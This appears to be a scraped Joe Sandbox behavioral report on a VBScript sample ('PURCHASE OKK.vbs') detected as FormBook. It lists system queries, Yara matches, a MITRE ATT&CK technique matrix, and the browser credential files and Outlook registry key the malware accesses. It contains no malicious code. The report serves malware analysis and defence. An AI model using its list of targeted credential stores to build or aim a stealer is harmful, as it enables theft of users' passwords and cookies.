Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2229860985.0000000004BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2229410762.0000000004B40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2226580404.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1277774749.0000000002860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2229866615.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1258834116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1262010486.0000000001930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2232234775.00000000056B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\iexpress.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\iexpress.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2229860985.0000000004BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2229410762.0000000004B40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2226580404.0000000002EC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1277774749.0000000002860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2229866615.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1258834116.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1262010486.0000000001930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2232234775.00000000056B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	1 Exploitation for Client Execution	121 Scripting	1 Abuse Elevation Control Mechanism	111 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	123 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	512 Process Injection	4 Obfuscated Files or Information	Security Account Manager	131 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	4 PowerShell	Login Hook	11 Scheduled Task/Job	1 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	41 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	512 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PURCHASE OKK.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Networking

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
PURCHASE OKK.vbs